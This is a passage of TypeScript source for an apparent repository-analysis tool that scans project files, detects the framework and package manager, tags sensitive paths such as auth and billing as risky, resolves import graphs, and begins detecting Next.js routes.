'node:fs/promises';\nimport * as path from 'node:path';\n\nimport type { EnvVar, FileNode, GraphStats, ProjectGraph, RouteNode } from '../domain/index';\nimport { ScanError, isDevCortexError } from '../domain/index';\nimport { detectStack } from './detect';\nimport { classifyFile } from './classify';\nimport {\n extractImportSpecifiers,\n extractSymbols,\n loadTsconfigAliases,\n resolveSpecifier,\n type AliasMap,\n} from './imports';\nimport { detectRoutes } from './routes';\nimport { extractEnvRefs, parseEnvKeys } from './env';\n\nexport interface ScanOptions {\n /** extra ignore globs, merged with the built-in defaults */\n ignore?: string[];\n /** hard cap on the number of files analysed (default 10000) */\n maxFiles?: number;\n}\n\nconst GRAPH_SCHEMA_VERSION = 1;\nconst DEFAULT_MAX_FILES = 10000;\n\nconst DEFAULT_IGNORE = [\n '**/node_modules/**',\n '**/dist/**',\n '**/.next/**',\n '**/.git/**',\n '**/.cortex/**',\n '**/coverage/**',\n '**/build/**',\n '**/.turbo/**',\n];\n\nconst JS_TS_EXTS = new Set(['.ts', '.tsx', '.js', '.jsx', '.mjs', '.cjs', '.mts', '.cts']);\n\nconst ENV_EXAMPLE_BASENAMES = new Set([\n '.env.example',\n '.env.sample',\n '.env.template',\n '.env.defaults',\n '.env.local.example',\n]);\n\nfunction extOf(posixPath: string): string {\n const base = posixPath.slice(posixPath.lastIndexOf('/') + 1);\n const idx = base.lastIndexOf('.');\n return idx <= 0 ? '' : base.slice(idx).toLowerCase();\n}\n\nfunction baseOf(posixPath: string): string {\n return posixPath.slice(posixPath.lastIndexOf('/') + 1).toLowerCase();\n}\n\nfunction byPath(a: string, b: string): number {\n return a < b ? -1 : a > b ? 1 : 0;\n}\n\nasync function readDocumentedEnv(absRoot: string, relFiles: string[]): Promise<Set<string>> {\n const documented = new Set<string>();\n for (const rel of relFiles) {\n if (!ENV_EXAMPLE_BASENAMES.has(baseOf(rel))) continue;\n try {\n const content = await readFile(path.join(absRoot, rel), 'utf8');\n for (const key of parseEnvKeys(content)) documented.add(key);\n } catch {\n // unreadable example file — simply leave those keys undocumented.\n }\n }\n return documented;\n}\n\nasync function readSources(\n absRoot: string,\n relFiles: string[],\n): Promise<{ sources: Map<string, string>; unreadable: Set<string> }> {\n const sources = new Map<string, string>();\n const unreadable = new Set<string>();\n await Promise.all(\n relFiles.map(async (rel) => {\n if (!JS_TS_EXTS.has(extOf(rel))) return;\n try {\n sources.set(rel, await readFile(path.join(absRoot, rel), 'utf8'));\n } catch {\n unreadable.add(rel);\n }\n }),\n );\n return { sources, unreadable };\n}\n\nfunction buildFileNodes(\n relFiles: string[],\n unreadable: Set<string>,\n): Map<string, FileNode> {\n const nodes = new Map<string, FileNode>();\n for (const rel of relFiles) {\n const { kind, risky, tags } = classifyFile(rel);\n const finalTags = unreadable.has(rel) ? [...new Set([...tags, 'scan:unreadable'])].sort() : tags;\n nodes.set(rel, {\n path: rel,\n kind,\n imports: [],\n importedBy: [],\n symbols: [],\n risky,\n tags: finalTags,\n });\n }\n return nodes;\n}\n\nfunction populateImportsAndEnv(\n nodes: Map<string, FileNode>,\n sources: Map<string, string>,\n ctx: { absRoot: string; fileSet: ReadonlySet<string>; aliases: AliasMap },\n): Map<string, Set<string>> {\n const envUsage = new Map<string, Set<string>>();\n\n for (const [rel, source] of sources) {\n const node = nodes.get(rel);\n if (node === undefined) continue;\n\n node.symbols = extractSymbols(source);\n\n const resolved = new Set<string>();\n for (const spec of extractImportSpecifiers(source)) {\n const hit = resolveSpecifier(spec, rel, ctx);\n if (hit !== null && hit !== rel) resolved.add(hit);\n }\n node.imports = [...resolved].sort();\n\n for (const name of extractEnvRefs(source)) {\n let set = envUsage.get(name);\n if (set === undefined) {\n set = new Set<string>();\n envUsage.set(name, set);\n }\n set.add(rel);\n }\n }\n\n // bidirectional importedBy\n for (const node of nodes.values()) {\n for (const dep of node.imports) {\n const target = nodes.get(dep);\n if (target !== undefined) target.importedBy.push(node.path);\n }\n }\n for (const node of nodes.values()) node.importedBy.sort(byPath);\n\n return envUsage;\n}\n\n/** Scan a repository at `root` into a structured `ProjectGraph`. */\nexport async function scanProject(root: string, opts: ScanOptions = {}): Promise<ProjectGraph> {\n const absRoot = path.resolve(root);\n\n try {\n const info = await stat(absRoot).catch(() => null);\n if (info === null || !info.isDirectory()) {\n throw new ScanError(`scan root is not a directory: ${absRoot}`, { details: { root: absRoot } });\n }\n\n await init;\n\n const ignore = [...DEFAULT_IGNORE, ...(opts.ignore ?? [])];\n const found = await fg(['**/*'], {\n cwd: absRoot,\n ignore,\n dot: true,\n onlyFiles: true,\n followSymbolicLinks: false,\n suppressErrors: true,\n absolute: false,\n });\n\n let relFiles = found.map((f) => f.replace(/\\\\/g, '/')).sort(byPath);\n const maxFiles = opts.maxFiles ?? DEFAULT_MAX_FILES;\n if (relFiles.length > maxFiles) relFiles = relFiles.slice(0, maxFiles);\n const fileSet = new Set(relFiles);\n\n const [{ stack, scripts }, aliases, documented, { sources, unreadable }] = await Promise.all([\n detectStack(absRoot, relFiles),\n loadTsconfigAliases(absRoot),\n readDocumentedEnv(absRoot, relFiles),\n readSources(absRoot, relFiles),\n ]);\n\n const nodes = buildFileNodes(relFiles, unreadable);\n const envUsage = populateImportsAndEnv(nodes, sources, { absRoot, fileSet, aliases });\n\n const files: FileNode[] = [...nodes.values()].sort((a, b) => byPath(a.path, b.path));\n const routes: RouteNode[] = stack.framework === 'nextjs' ? detectRoutes(relFiles) : [];\n\n const envVars: EnvVar[] = [...envUsage.entries()]\n .map(([name, set]) => ({ name, usedIn: [...set].sort(byPath), documented: documented.has(name) }))\n .sort((a, b) => byPath(a.name, b.name));\n\n const riskyFiles = files\n .filter((f) => f.risky)\n .map((f) => f.path)\n .sort(byPath);\n\n const stats: GraphStats = {\n fileCount: files.length,\n routeCount: routes.length,\n apiCount: routes.filter((r) => r.kind === 'api').length,\n testCount: files.filter((f) => f.kind === 'test').length,\n riskyCount: riskyFiles.length,\n };\n\n return {\n schemaVersion: GRAPH_SCHEMA_VERSION,\n root: absRoot,\n generatedAt: new Date().toISOString(),\n stack,\n files,\n routes,\n envVars,\n scripts,\n riskyFiles,\n stats,\n };\n } catch (err) {\n if (isDevCortexError(err)) throw err;\n throw new ScanError(`failed to scan project at ${absRoot}`, { cause: err });\n }\n}\n","/**\n * Stack detection: framework, language, package manager, monorepo flag,\n * deployment targets, and npm scripts — derived from manifests and the scanned\n * file list. Pure of side effects beyond reading well-known root manifest files.\n *\n * Framework precedence (per spec): next → nextjs, vite, express, react,\n * fastapi (python manifests), else node.\n */\n\nimport type { DetectedStack, Framework, Language, PackageManager } from '../domain/index';\nimport { readFile } from 'node:fs/promises';\nimport * as path from 'node:path';\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return value !== null && typeof value === 'object' && !Array.isArray(value);\n}\n\nfunction asStringRecord(value: unknown): Record<string, string> {\n const out: Record<string, string> = {};\n if (!isRecord(value)) return out;\n for (const key of Object.keys(value)) {\n const v = value[key];\n if (typeof v === 'string') out[key] = v;\n }\n return out;\n}\n\nasync function readText(absPath: string): Promise<string | null> {\n try {\n return await readFile(absPath, 'utf8');\n } catch {\n return null;\n }\n}\n\nasync function readPackageJson(absRoot: string): Promise<Record<string, unknown> | null> {\n const raw = await readText(path.join(absRoot, 'package.json'));\n if (raw === null) return null;\n try {\n const parsed: unknown = JSON.parse(raw);\n return isRecord(parsed) ? parsed : null;\n } catch {\n return null;\n }\n}\n\nfunction baseNameOf(posixPath: string): string {\n const idx = posixPath.lastIndexOf('/');\n return (idx === -1 ? posixPath : posixPath.slice(idx + 1)).toLowerCase();\n}\n\nfunction cleanVersion(range: string | undefined): string | undefined {\n if (range === undefined) return undefined;\n const cleaned = range.replace(/^[\\^~>=<\\s]+/, '').trim();\n return cleaned.length > 0 ? cleaned : undefined;\n}\n\nexport interface StackDetection {\n stack: DetectedStack;\n scripts: Record<string, string>;\n}\n\nexport async function detectStack(absRoot: string, relFiles: string[]): Promise<StackDetection> {\n const fileSet = new Set(relFiles);\n const baseNames = new Set(relFiles.map(baseNameOf));\n\n const hasFile = (rel: string): boolean => fileSet.has(rel);\n const hasBase = (name: string): boolean => baseNames.has(name.toLowerCase());\n const hasConfig = (prefix: string): boolean =>\n relFiles.some((f) => {\n const b = baseNameOf(f);\n return b === `${prefix}.js` || b === `${prefix}.mjs` || b === `${prefix}.cjs` || b === `${prefix}.ts`;\n });\n\n const pkg = await readPackageJson(absRoot);\n const deps: Record<string, string> = pkg\n ? { ...asStringRecord(pkg['dependencies']), ...asStringRecord(pkg['devDependencies']) }\n : {};\n const scripts = pkg ? asStringRecord(pkg['scripts']) : {};\n\n // --- python manifests -----------------------------------------------------\n const pythonManifest =\n hasBase('requirements.txt') ||\n hasBase('pyproject.toml') ||\n hasBase('pipfile') ||\n hasBase('setup.py') ||\n hasBase('setup.cfg');\n\n let pyText = '';\n if (pythonManifest) {\n for (const name of ['requirements.txt', 'pyproject.toml', 'Pipfile']) {\n if (hasFile(name)) {\n const t = await readText(path.join(absRoot, name));\n if (t !== null) pyText += `\\n${t}`;\n }\n }\n }\n const fastapiDetected = /fastapi/i.test(pyText);\n const poetryProject = /\\[tool\\.poetry\\]/.test(pyText) || hasFile('poetry.lock');\n\n // --- framework ------------------------------------------------------------\n let framework: Framework;\n let frameworkVersion: string | undefined;\n if (pkg !== null) {\n if ('next' in deps || hasConfig('next.config')) {\n framework = 'nextjs';\n frameworkVersion = cleanVersion(deps['next']);\n } else if ('vite' in deps || hasConfig('vite.config')) {\n framework = 'vite';\n frameworkVersion = cleanVersion(deps['vite']);\n } else if ('express' in deps) {\n framework = 'express';\n frameworkVersion = cleanVersion(deps['express']);\n } else if ('react' in deps) {\n framework = 'react';\n frameworkVersion = cleanVersion(deps['react']);\n } else {\n framework = 'node';\n }\n } else if (fastapiDetected) {\n framework = 'fastapi';\n } else {\n framework = 'node';\n }\n\n // --- language -------------------------------------------------------------\n let language: Language;\n if (hasFile('tsconfig.json') || relFiles.some((f) => /\\.(ts|tsx|mts|cts)$/.test(f) && !f.endsWith('.d.ts'))) {\n language = 'typescript';\n } else if (relFiles.some((f) => /\\.(js|jsx|mjs|cjs)$/.test(f))) {\n language = 'javascript';\n } else if (pythonManifest || relFiles.some((f) => f.endsWith('.py'))) {\n language = 'python';\n } else if (hasFile('go.mod') || relFiles.some((f) => f.endsWith('.go'))) {\n language = 'go';\n } else {\n language = 'unknown';\n }\n\n // --- package manager (by lockfile) ---------------------------------------\n let packageManager: PackageManager;\n if (hasFile('pnpm-lock.yaml')) packageManager = 'pnpm';\n else if (hasFile('yarn.lock')) packageManager = 'yarn';\n else if (hasFile('bun.lockb') || hasFile('bun.lock')) packageManager = 'bun';\n else if (hasFile('package-lock.json')) packageManager = 'npm';\n else if (poetryProject) packageManager = 'poetry';\n else if (hasFile('Pipfile.lock') || hasFile('Pipfile') || hasFile('requirements.txt')) packageManager = 'pip';\n else packageManager = 'unknown';\n\n // --- monorepo -------------------------------------------------------------\n const workspaces = pkg ? pkg['workspaces'] : undefined;\n const hasWorkspaces = Array.isArray(workspaces) || isRecord(workspaces);\n const monorepo = hasFile('pnpm-workspace.yaml') || hasFile('turbo.json') || hasFile('lerna.json') || hasWorkspaces;\n\n // --- deployment targets ---------------------------------------------------\n const deploymentTargets: string[] = [];\n if (hasFile('vercel.json')) deploymentTargets.push('vercel');\n if (hasFile('netlify.toml')) deploymentTargets.push('netlify');\n const hasDocker = relFiles.some((f) => {\n const b = baseNameOf(f);\n return b === 'dockerfile' || b.startsWith('dockerfile.') || b.endsWith('.dockerfile');\n });\n if (hasDocker || hasBase('docker-compose.yml') || hasBase('docker-compose.yaml')) {\n deploymentTargets.push('docker');\n }\n const hasK8s =\n relFiles.some((f) => /(^|\\/)(k8s|kubernetes|manifests|charts)\\//.test(f) && /\\.ya?ml$/.test(f)) ||\n hasBase('chart.yaml') ||\n hasBase('skaffold.yaml') ||\n hasBase('kustomization.yaml') ||\n hasBase('kustomization.yml');\n if (hasK8s) deploymentTargets.push('kubernetes');\n\n const stack: DetectedStack = {\n framework,\n language,\n packageManager,\n monorepo,\n deploymentTargets,\n ...(frameworkVersion !== undefined ? { frameworkVersion } : {}),\n };\n\n return { stack, scripts };\n}\n","/**\n * Deterministic file classification: maps a repo-relative path to a `FileKind`,\n * a `risky` flag, and a set of domain `tags`, using path + filename heuristics\n * only (never file contents). The rules are ordered most-specific first; the\n * first matching rule wins.\n *\n * `risky` flags security/financial/structural surfaces (auth, billing,\n * middleware, migrations, env, config, and anything carrying a security-related\n * token) so downstream policy/blast-radius code can raise depth on edits.\n */\n\nimport type { FileKind } from '../domain/index';\n\nconst SCRIPT_EXT = /\\.[cm]?[jt]sx?$/; // .js .jsx .ts .tsx .mjs .cjs .mts .cts\nconst STYLE_EXTS = new Set(['.css', '.scss', '.sass', '.less', '.styl', '.pcss']);\n\nconst AUTH_TOKENS = new Set([\n 'auth',\n 'authn',\n 'authz',\n 'login',\n 'logout',\n 'signin',\n 'signup',\n 'session',\n 'oauth',\n 'oidc',\n 'jwt',\n 'nextauth',\n 'clerk',\n 'rbac',\n 'permission',\n 'permissions',\n]);\n\nconst BILLING_TOKENS = new Set([\n 'billing',\n 'payment',\n 'payments',\n 'stripe',\n 'subscription',\n 'subscriptions',\n 'checkout',\n 'invoice',\n 'invoices',\n 'paywall',\n]);\n\nconst SECURITY_TOKENS = new Set([\n 'security',\n 'secret',\n 'secrets',\n 'crypto',\n 'encrypt',\n 'decrypt',\n 'password',\n 'credential',\n 'credentials',\n 'token',\n 'tokens',\n 'sanitize',\n 'csrf',\n 'cors',\n 'webhook',\n 'webhooks',\n 'apikey',\n]);\n\nconst RISKY_KINDS = new Set<FileKind>([\n 'auth',\n 'billing',\n 'middleware',\n 'migration',\n 'env',\n 'config',\n]);\n\nconst CONFIG_BASENAMES = new Set([\n 'package.json',\n 'tsconfig.json',\n 'jsconfig.json',\n 'vercel.json',\n 'turbo.json',\n 'lerna.json',\n 'pnpm-workspace.yaml',\n 'docker-compose.yml',\n 'docker-compose.yaml',\n 'dockerfile',\n 'netlify.toml',\n 'babel.config.js',\n 'jest.config.js',\n 'jest.config.ts',\n '.babelrc',\n '.npmrc',\n '.nvmrc',\n '.editorconfig',\n]);\n\nconst ROUTE_SEGMENT_FILE = /^(layout|loading|error|template|default|global-error|not-found)\\.[cm]?[jt]sx?$/;\n\nconst GENERIC_TAG_TOKENS = new Set([\n 'src',\n 'index',\n 'app',\n 'pages',\n 'ts',\n 'tsx',\n 'js',\n 'jsx',\n 'mjs',\n 'cjs',\n 'mts',\n 'cts',\n 'json',\n 'page',\n 'route',\n 'the',\n 'and',\n 'for',\n]);\n\nexport interface FileClassification {\n kind: FileKind;\n risky: boolean;\n tags: string[];\n}\n\n/**\n * Split a path into lowercased word tokens, breaking on path separators,\n * punctuation, AND camelCase boundaries (so `authMiddleware` → `auth`,\n * `middleware`). Exact-token matching against keyword sets avoids false\n * positives like `author` → `auth`.\n */\nexport function tokenize(value: string): string[] {\n return value\n .replace(/([a-z0-9])([A-Z])/g, '$1 $2')\n .split(/[^A-Za-z0-9]+/)\n .map((t) => t.toLowerCase())\n .filter((t) => t.length > 0);\n}\n\nfunction baseName(posixPath: string): string {\n const idx = posixPath.lastIndexOf('/');\n return idx === -1 ? posixPath : posixPath.slice(idx + 1);\n}\n\nfunction extOf(base: string): string {\n const idx = base.lastIndexOf('.');\n return idx <= 0 ? '' : base.slice(idx).toLowerCase();\n}\n\nfunction isUnderAppRouter(segs: string[]): boolean {\n const idx = segs.indexOf('app');\n return idx === 0 || (idx === 1 && segs[0] === 'src');\n}\n\nfunction isUnderPagesRouter(segs: string[]): boolean {\n const idx = segs.indexOf('pages');\n return idx === 0 || (idx === 1 && segs[0] === 'src');\n}\n\nfunction hasAnyToken(tokens: Set<string>, keywords: Set<string>): boolean {\n for (const k of keywords) if (tokens.has(k)) return true;\n return false;\n}\n\nfunction computeKind(posixPath: string, base: string, tokens: Set<string>): FileKind {\n const lower = posixPath.toLowerCase();\n const lowerBase = base.toLowerCase();\n const ext = extOf(lowerBase);\n const segs = lower.split('/').filter((s) => s.length > 0);\n const dirSegs = segs.slice(0, -1);\n\n // 1. tests\n if (\n /\\.(test|spec|e2e)\\.[cm]?[jt]sx?$/.test(lowerBase) ||\n dirSegs.some((s) => s === '__tests__' || s === '__test__' || s === 'test' || s === 'tests' || s === 'e2e' || s === '__mocks__')\n ) {\n return 'test';\n }\n\n // 2. env files\n if (/^\\.env(\\.|$)/.test(lowerBase) || /^env\\.[cm]?[jt]s$/.test(lowerBase)) {\n return 'env';\n }\n\n // 3. migrations\n if (\n dirSegs.includes('migrations') ||\n dirSegs.includes('migration') ||\n /\\.migration\\.[cm]?[jt]s$/.test(lowerBase) ||\n (ext === '.sql' && (dirSegs.includes('migrations') || dirSegs.includes('drizzle')))\n ) {\n return 'migration';\n }\n\n // 4. middleware\n if (/^middleware\\.[cm]?[jt]sx?$/.test(lowerBase) || tokens.has('middleware')) {\n return 'middleware';\n }\n\n // 5. config\n if (\n CONFIG_BASENAMES.has(lowerBase) ||\n /\\.config\\.([cm]?[jt]s|json)$/.test(lowerBase) ||\n /^tsconfig\\..*\\.json$/.test(lowerBase) ||\n lowerBase.startsWith('.eslintrc') ||\n lowerBase.startsWith('.prettierrc') ||\n lowerBase === 'dockerfile' ||\n lowerBase.startsWith('dockerfile.') ||\n lowerBase.endsWith('.dockerfile')\n ) {\n return 'config';\n }\n\n // 6. schema\n if (\n ext === '.prisma' ||\n ext === '.graphql' ||\n ext === '.gql' ||\n /\\.schema\\.[cm]?[jt]s$/.test(lowerBase) ||\n tokens.has('schema') ||\n tokens.has('schemas')\n ) {\n return 'schema';\n }\n\n // 7. styles\n if (STYLE_EXTS.has(ext)) {\n return 'style';\n }\n\n // 8. auth (security surface — classified before generic page/component)\n if (hasAnyToken(tokens, AUTH_TOKENS)) {\n return 'auth';\n }\n\n // 9. billing\n if (hasAnyToken(tokens, BILLING_TOKENS)) {\n return 'billing';\n }\n\n // 10. api endpoints\n if (isUnderAppRouter(segs) && /^route\\.[cm]?[jt]sx?$/.test(lowerBase)) {\n return 'api';\n }\n if (dirSegs.includes('api') && SCRIPT_EXT.test(lowerBase)) {\n return 'api';\n }\n\n // 11. pages\n if (isUnderAppRouter(segs) && /^page\\.[cm]?[jt]sx?$/.test(lowerBase)) {\n return 'page';\n }\n if (isUnderPagesRouter(segs) && !lowerBase.startsWith('_') && SCRIPT_EXT.test(lowerBase)) {\n return 'page';\n }\n\n // 12. App Router structural segment files\n if (isUnderAppRouter(segs) && ROUTE_SEGMENT_FILE.test(lowerBase)) {\n return 'route';\n }\n\n // 13. components\n if (ext === '.tsx' || ext === '.jsx' || dirSegs.includes('components') || dirSegs.includes('ui')) {\n return 'component';\n }\n\n // 14. services\n if (\n /\\.(service|controller)\\.[cm]?[jt]s$/.test(lowerBase) ||\n dirSegs.includes('services') ||\n dirSegs.includes('service') ||\n dirSegs.includes('server') ||\n dirSegs.includes('actions') ||\n dirSegs.includes('controllers') ||\n dirSegs.includes('handlers') ||\n dirSegs.includes('usecases') ||\n dirSegs.includes('use-cases')\n ) {\n return 'service';\n }\n\n // 15. lib / shared utility code\n if (\n dirSegs.includes('lib') ||\n dirSegs.includes('libs') ||\n dirSegs.includes('utils') ||\n dirSegs.includes('util') ||\n dirSegs.includes('helpers') ||\n dirSegs.includes('helper') ||\n dirSegs.includes('hooks') ||\n dirSegs.includes('shared') ||\n dirSegs.includes('common')\n ) {\n return 'lib';\n }\n\n return 'other';\n}\n\nfunction computeRisky(kind: FileKind, tokens: Set<string>): boolean {\n if (RISKY_KINDS.has(kind)) return true;\n return hasAnyToken(tokens, SECURITY_TOKENS);\n}\n\nfunction computeTags(tokens: Set<string>, kind: FileKind): string[] {\n const tags = new Set<string>();\n tags.add(kind);\n for (const token of tokens) {\n if (token.length >= 3 && !GENERIC_TAG_TOKENS.has(token)) tags.add(token);\n }\n return [...tags].sort().slice(0, 16);\n}\n\n/** Classify a repo-relative (POSIX or native) path into kind + risky + tags. */\nexport function classifyFile(relPath: string): FileClassification {\n const posix = relPath.replace(/\\\\/g, '/').replace(/^\\.\\//, '');\n const base = baseName(posix);\n const tokens = new Set(tokenize(posix));\n const kind = computeKind(posix, base, tokens);\n const risky = computeRisky(kind, tokens);\n const tags = computeTags(tokens, kind);\n return { kind, risky, tags };\n}\n","/**\n * Import-graph primitives:\n * - `extractImportSpecifiers` — union of `es-module-lexer` (handles dynamic\n * `import()` and modern ESM) and a regex fallback (covers `require()` and\n * TypeScript files where the lexer bails). Never throws on malformed input;\n * a parse failure degrades to the regex pass.\n * - `extractSymbols` — best-effort top-level export names.\n * - `loadTsconfigAliases` / `resolveSpecifier` — resolve a specifier to a\n * repo-relative POSIX path that actually exists in the scanned file set,\n * honouring relative imports, TS `.js`→`.ts` ESM rewriting, index files, and\n * best-effort tsconfig `paths` aliases.\n *\n * The lexer requires `await init` before `parse`; the scanner awaits it once,\n * and this module's lexer call is wrapped so a missing init also degrades to\n * the regex pass rather than throwing.\n */\n\nimport { parse } from 'es-module-lexer';\nimport { readFile } from 'node:fs/promises';\nimport * as path from 'node:path';\n\nconst STATIC_FROM = /(?:^|[^.\\w$])(?:import|export)\\b[^'\"]*?\\bfrom\\s*['\"]([^'\"]+)['\"]/g;\nconst SIDE_EFFECT = /(?:^|[^.\\w$])import\\s*['\"]([^'\"]+)['\"]/g;\nconst DYNAMIC_IMPORT = /(?:^|[^.\\w$])import\\s*\\(\\s*['\"]([^'\"]+)['\"]\\s*\\)/g;\nconst REQUIRE_CALL = /(?:^|[^.\\w$])require\\s*\\(\\s*['\"]([^'\"]+)['\"]\\s*\\)/g;\n\nconst CANDIDATE_EXTS = ['.ts', '.tsx', '.mts', '.cts', '.js', '.jsx', '.mjs', '.cjs', '.json'];\nconst JS_EXT_REWRITES: Record<string, string[]> = {\n '.js': ['.ts', '.tsx'],\n '.jsx': ['.tsx', '.jsx'],\n '.mjs': ['.mts'],\n '.cjs': ['.cts'],\n};\n\nexport interface AliasMap {\n /** absolute baseUrl the alias targets resolve against */\n baseUrl: string;\n exact: Map<string, string[]>;\n wildcard: Array<{ prefix: string; suffix: string; targets: string[] }>;\n}\n\nexport interface ResolveContext {\n absRoot: string;\n /** set of repo-relative POSIX paths that exist in the scan */\n fileSet: ReadonlySet<string>;\n aliases: AliasMap;\n}\n\nfunction regexSpecifiers(source: string): Set<string> {\n const specs = new Set<string>();\n for (const re of [STATIC_FROM, SIDE_EFFECT, DYNAMIC_IMPORT, REQUIRE_CALL]) {\n re.lastIndex = 0;\n let match: RegExpExecArray | null;\n while ((match = re.exec(source)) !== null) {\n const spec = match[1];\n if (spec !== undefined && spec.length > 0) specs.add(spec);\n }\n }\n return specs;\n}\n\n/** All module specifiers imported by a source file (relative, alias, or bare). */\nexport function extractImportSpecifiers(source: string): string[] {\n const specs = new Set<string>();\n try {\n const [imports] = parse(source);\n for (const imp of imports) {\n if (imp.n !== undefined && imp.n.length > 0) specs.add(imp.n);\n }\n } catch {\n // es-module-lexer can throw on TS-specific syntax or before init resolves;\n // the regex pass below recovers the specifiers either way.\n }\n for (const spec of regexSpecifiers(source)) specs.add(spec);\n return [...specs];\n}\n\nconst NAMED_EXPORT = /export\\s+(?:default\\s+)?(?:async\\s+)?(?:function\\*?|class|const|let|var|interface|type|enum)\\s+([A-Za-z_$][\\w$]*)/g;\nconst EXPORT_BLOCK = /export\\s*\\{([^}]*)\\}/g;\n\n/** Best-effort top-level exported symbol names. */\nexport function extractSymbols(source: string): string[] {\n const symbols = new Set<string>();\n\n NAMED_EXPORT.lastIndex = 0;\n let match: RegExpExecArray | null;\n while ((match = NAMED_EXPORT.exec(source)) !== null) {\n const name = match[1];\n if (name !== undefined) symbols.add(name);\n }\n\n EXPORT_BLOCK.lastIndex = 0;\n while ((match = EXPORT_BLOCK.exec(source)) !== null) {\n const block = match[1];\n if (block === undefined) continue;\n for (const rawPart of block.split(',')) {\n const part = rawPart.trim();\n if (part.length === 0) continue;\n const segments = part.split(/\\s+as\\s+/);\n const exported = (segments.length > 1 ? segments[segments.length - 1] : segments[0])?.trim();\n if (exported === undefined) continue;\n const cleaned = exported.replace(/^type\\s+/, '').trim();\n if (/^[A-Za-z_$][\\w$]*$/.test(cleaned)) symbols.add(cleaned);\n }\n }\n\n if (/export\\s+default\\b/.test(source)) symbols.add('default');\n\n return [...symbols].sort();\n}\n\nfunction stripJsonComments(input: string): string {\n // Remove block and line comments and trailing commas so JSONC (tsconfig) can\n // be parsed by JSON.parse. Conservative — does not attempt to honour string\n // literals containing comment-like sequences (rare in tsconfig).\n const withoutComments = input\n .replace(/\\/\\*[\\s\\S]*?\\*\\//g, '')\n .replace(/(^|[^:])\\/\\/[^\\n\\r]*/g, '$1');\n return withoutComments.replace(/,(\\s*[}\\]])/g, '$1');\n}\n\nasync function readJsonc(absPath: string): Promise<Record<string, unknown> | null> {\n let raw: string;\n try {\n raw = await readFile(absPath, 'utf8');\n } catch {\n return null;\n }\n try {\n const parsed: unknown = JSON.parse(raw);\n return isRecord(parsed) ? parsed : null;\n } catch {\n try {\n const parsed: unknown = JSON.parse(stripJsonComments(raw));\n return isRecord(parsed) ? parsed : null;\n } catch {\n return null;\n }\n }\n}\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return value !== null && typeof value === 'object' && !Array.isArray(value);\n}\n\n/**\n * Load tsconfig/jsconfig `paths` aliases (best-effort). Returns an empty alias\n * map (baseUrl = root) when no config is present or it cannot be parsed.\n */\nexport async function loadTsconfigAliases(absRoot: string): Promise<AliasMap> {\n const empty: AliasMap = { baseUrl: absRoot, exact: new Map(), wildcard: [] };\n const config =\n (await readJsonc(path.join(absRoot, 'tsconfig.json'))) ??\n (await readJsonc(path.join(absRoot, 'jsconfig.json')));\n if (config === null) return empty;\n\n const compilerOptions = config['compilerOptions'];\n if (!isRecord(compilerOptions)) return empty;\n\n const baseUrlRaw = compilerOptions['baseUrl'];\n const baseUrl = typeof baseUrlRaw === 'string' ? path.resolve(absRoot, baseUrlRaw) : absRoot;\n\n const pathsRaw = compilerOptions['paths'];\n const exact = new Map<string, string[]>();\n const wildcard: Array<{ prefix: string; suffix: string; targets: string[] }> = [];\n\n if (isRecord(pathsRaw)) {\n for (const key of Object.keys(pathsRaw)) {\n const targetsRaw = pathsRaw[key];\n if (!Array.isArray(targetsRaw)) continue;\n const targets = targetsRaw.filter((t): t is string => typeof t === 'string');\n if (targets.length === 0) continue;\n const starIdx = key.indexOf('*');\n if (starIdx === -1) {\n exact.set(key, targets);\n } else {\n wildcard.push({\n prefix: key.slice(0, starIdx),\n suffix: key.slice(starIdx + 1),\n targets,\n });\n }\n }\n }\n\n wildcard.sort((a, b) => b.prefix.length - a.prefix.length);\n return { baseUrl, exact, wildcard };\n}\n\nfunction aliasCandidates(spec: string, aliases: AliasMap): string[] {\n const exactTargets = aliases.exact.get(spec);\n if (exactTargets !== undefined) {\n return exactTargets.map((t) => path.resolve(aliases.baseUrl, t));\n }\n const out: string[] = [];\n for (const entry of aliases.wildcard) {\n if (\n spec.length >= entry.prefix.length + entry.suffix.length &&\n spec.startsWith(entry.prefix) &&\n spec.endsWith(entry.suffix)\n ) {\n const star = spec.slice(entry.prefix.length, spec.length - entry.suffix.length);\n for (const target of entry.targets) {\n out.push(path.resolve(aliases.baseUrl, target.replace('*', star)));\n }\n }\n }\n return out;\n}\n\nfunction toRepoRel(absRoot: string, absTarget: string): string {\n return path.relative(absRoot, absTarget).split(path.sep).join('/');\n}\n\nfunction matchFile(repoRel: string, fileSet: ReadonlySet<string>): string | null {\n if (repoRel.length === 0 || repoRel.startsWith('..')) return null;\n\n if (fileSet.has(repoRel)) return repoRel;\n\n const dotIdx = repoRel.lastIndexOf('.');\n const slashIdx = repoRel.lastIndexOf('/');\n const ext = dotIdx > slashIdx ? repoRel.slice(dotIdx) : '';\n\n // TS ESM authoring imports `./x.js` but the file on disk is `./x.ts`.\n if (ext.length > 0) {\n const rewrites = JS_EXT_REWRITES[ext];\n if (rewrites !== undefined) {\n const stem = repoRel.slice(0, dotIdx);\n for (const rewrite of rewrites) {\n const candidate = stem + rewrite;\n if (fileSet.has(candidate)) return candidate;\n }\n }\n }\n\n // Extensionless import → try appending known extensions.\n for (const candidateExt of CANDIDATE_EXTS) {\n const candidate = repoRel + candidateExt;\n if (fileSet.has(candidate)) return candidate;\n }\n\n // Directory import → index file.\n for (const candidateExt of CANDIDATE_EXTS) {\n const candidate = `${repoRel}/index${candidateExt}`;\n if (fileSet.has(candidate)) return candidate;\n }\n\n return null;\n}\n\n/**\n * Resolve a module specifier imported from `fromRel` into a repo-relative POSIX\n * path that exists in the scan, or `null` for bare/unresolvable specifiers.\n */\nexport function resolveSpecifier(spec: string, fromRel: string, ctx: ResolveContext): string | null {\n let candidatesAbs: string[];\n\n if (spec === '.' || spec === '..' || spec.startsWith('./') || spec.startsWith('../')) {\n const fromDirAbs = path.dirname(path.join(ctx.absRoot, fromRel));\n candidatesAbs = [path.resolve(fromDirAbs, spec)];\n } else if (spec.startsWith('/')) {\n candidatesAbs = [path.join(ctx.absRoot, spec)];\n } else {\n candidatesAbs = aliasCandidates(spec, ctx.aliases);\n if (candidatesAbs.length === 0) return null; // bare package import\n }\n\n for (const abs of candidatesAbs) {\n const hit = matchFile(toRepoRel(ctx.absRoot, abs), ctx.fileSet);\n if (hit !== null) return hit;\n }\n return null;\n}\n","/**\n * Next.js route detection from file paths (App Router + Pages Router).\n *\n * App Router: `app/**\\/page.*` → page, `app/**\\/route.*` → api,\n * `app/**\\/layout.*` → layout. Route groups `(group)` and\n * parallel slots `@slot` are stripped; 